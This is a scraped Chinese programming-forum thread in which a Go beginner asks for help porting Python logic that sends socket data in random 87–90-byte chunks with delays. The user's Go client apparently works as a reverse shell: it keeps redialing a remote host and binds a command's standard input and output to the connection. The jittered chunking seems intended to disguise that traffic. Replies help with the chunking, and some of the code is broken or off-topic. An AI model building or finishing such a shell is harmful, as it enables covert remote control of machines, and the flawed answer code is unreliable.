Golang中如何实现这个逻辑?

Golang中如何实现这个逻辑? 我有一个用Python编写的代理,其中包含一些逻辑,我想在我自己的Go工具中实现它,但我真的不知道该如何操作。

它通过套接字(标准输出)发送的数据被分割成小块,并在每个块之间设置延迟。

我有一个变量,它从一个列表中获取随机数:

....
 listbytes = [87, 88, 89, 90]
....

我还有一个函数,它将数据(lst)分割成小字节块(n):

............
def chunks(lst, n):

    "Yield successive chunks from lst, where n is a list of possible sizes"

    i = 0

    while i < len(lst):

        k = min(random.choice(n), len(lst) - i)

        yield lst[i:i + k]

        i += k
.............

这两部分按以下方式执行:

...
# get the data

            data = s.recv(BUFFER_SIZE)

 

            if s == s_src:

                d = LOCAL_DATA_HANDLER(data)

                for chunk in chunks(d, listbytes): 

#sleep 1.6 seconds before sending the next chunk of data

                    time.sleep(1.6)

#send the chunked data

                    s_dst.send(bytes(chunk) )

...

我该如何实现完全相同的逻辑

func (nObj NetObject) RunClient(cmd string) {

    // Try connection

    for {

        conn, err := net.Dial(nObj.Type, nObj.Service)

        fmt.Print("connect")

//        msg := "status"

        if err != nil {

            fmt.Println("fail")

        } 

        if err == nil {

            fmt.Println("ok")

//            defer conn.Close()

            defer conn.Close()

            log.Println("Connected to", conn.RemoteAddr())

            handleConn(conn, cmd)

            //handleConn(conn, cmd)

            fmt.Println("After handle")

                    } 

        fmt.Println("Before sleep")

        time.Sleep(5 * time.Second)

    }

}
// Manage connection for different behavior
func handleConn(conn net.Conn, binPath string) {

        msg := "Status?\n"

       	    if binPath != "" {
		// Execute command and send Standard I/O net.Conn
		cmd := exec.Command(binPath)
		cmd.Stdin = conn
		cmd.Stdout = conn
		cmd.Stderr = conn
		cmd.Run()
                fmt.Println("Disconnected!?")
                time.Sleep(5 * time.Second)
                pippo, err2 := conn.Write([]byte(msg))
                if err2 != nil {
                       fmt.Println(pippo)
                }


              

	    } else {
		// Copy Standard I/O in a net.Conn
		go io.Copy(os.Stderr, conn)
		go io.Copy(os.Stdout, conn)
		io.Copy(conn, os.Stdin)

	    }
}

在Python中,实现起来很直接,而且效果很好。 该工具每次生成一个块时,都会从listbytes中随机选取一个数字。

prooff proof2

我只是在寻找一位有耐心的高手(或者说是圣人,哈哈),他能提供一个代码示例,展示如何按照我的意愿工作。

我并不指望一开始就能让它运行起来,这几乎是不可能的,但我们都知道,通过一些错误,你迟早会找到解决方案(:

在这种情况下,我真的不知道从哪里开始,也不知道该怎么做(我是Go的新手)。 你能帮帮我吗?


更多关于Golang中如何实现这个逻辑?的实战教程也可以访问 https://www.itying.com/category-94-b0.html

5 回复

也许你指的是 data, _ := cmd.Output()

更多关于Golang中如何实现这个逻辑?的实战系列教程也可以访问 https://www.itying.com/category-94-b0.html


我的猜测是,当你读取标准输出时,cmd 还没有执行,所以它的标准输出还是空的。也许你需要把 for-loop 放在 cmd.Run() 调用之后…

func main() {
    fmt.Println("hello world")
}

感谢您的回答! 问题在于 io.Writer 不是一个字符串;所以我既不能获取它的长度,也不能对其进行切片。 我必须创建一个 bytes.Buffer

        buf := new(bytes.Buffer)
        cmd.Stdout = buf

现在我需要将 *bytes.Buffer 转换为 []byte,这有点让人头疼,哈哈。

当客户端连接到服务器时,我无法获取标准输出……(这件事快把我逼疯了,哈哈) 对于我从服务器发送的任何输入(命令),我都收不到输出。 我到底遗漏了什么?

		cmd := exec.Command(binPath) 							
		cmd.Stdin = conn
                // 原始代码----
//		cmd.Stdout = conn
               
                buf := new(bytes.Buffer)
                cmd.Stdout = buf

                for {

                    test := split(buf.Bytes(), 100)
                    last := make([]byte, len(test))
                    fmt.Println(last)
                    time.Sleep(1 * time.Second)
                    ok, err0 := conn.Write(last)    
                    if err0  != nil {
                        fmt.Println(ok)
                    
                    }
                 }

		cmd.Stderr = conn
		cmd.Run()

这是 split 函数:

func split(buf []byte, lim int) [][]byte {
	var chunk []byte
	chunks := make([][]byte, 0, len(buf)/lim+1)
	for len(buf) >= lim {
		chunk, buf = buf[:lim], buf[lim:]
		chunks = append(chunks, chunk)
	}
	if len(buf) > 0 {
		chunks = append(chunks, buf[:len(buf)])
	}
	return chunks
}
package main

import (
	"math/rand"
	"time"
)

// 定义可能的块大小列表
var listbytes = []int{87, 88, 89, 90}

// chunks 函数将数据分割成随机大小的块
func chunks(data []byte) <-chan []byte {
	ch := make(chan []byte)
	
	go func() {
		defer close(ch)
		i := 0
		for i < len(data) {
			// 从listbytes中随机选择一个块大小
			chunkSize := listbytes[rand.Intn(len(listbytes))]
			
			// 确保不超过剩余数据长度
			if chunkSize > len(data)-i {
				chunkSize = len(data) - i
			}
			
			// 发送数据块
			ch <- data[i : i+chunkSize]
			i += chunkSize
			
			// 延迟1.6秒
			time.Sleep(1600 * time.Millisecond)
		}
	}()
	
	return ch
}

// 使用示例
func processData(data []byte, conn net.Conn) {
	for chunk := range chunks(data) {
		// 发送数据块
		_, err := conn.Write(chunk)
		if err != nil {
			// 处理错误
			break
		}
	}
}

// 在handleConn函数中的使用示例
func handleConn(conn net.Conn, binPath string) {
	// ... 现有代码 ...
	
	// 接收数据的示例
	buffer := make([]byte, 4096)
	for {
		n, err := conn.Read(buffer)
		if err != nil {
			break
		}
		
		data := buffer[:n]
		// 处理并发送分块数据
		processData(data, conn)
	}
	
	// ... 现有代码 ...
}
// 如果需要更接近Python原语的实现,可以使用切片操作
func chunksExact(data []byte, sizes []int) [][]byte {
	var result [][]byte
	i := 0
	
	for i < len(data) {
		// 随机选择块大小
		chunkSize := sizes[rand.Intn(len(sizes))]
		
		// 调整块大小以适应剩余数据
		if chunkSize > len(data)-i {
			chunkSize = len(data) - i
		}
		
		// 添加数据块
		result = append(result, data[i:i+chunkSize])
		i += chunkSize
	}
	
	return result
}

// 带延迟的发送函数
func sendWithDelay(conn net.Conn, data []byte) {
	chunks := chunksExact(data, listbytes)
	
	for _, chunk := range chunks {
		conn.Write(chunk)
		time.Sleep(1600 * time.Millisecond)
	}
}
// 初始化随机数种子(在main函数中调用一次)
func init() {
	rand.Seed(time.Now().UnixNano())
}
回到顶部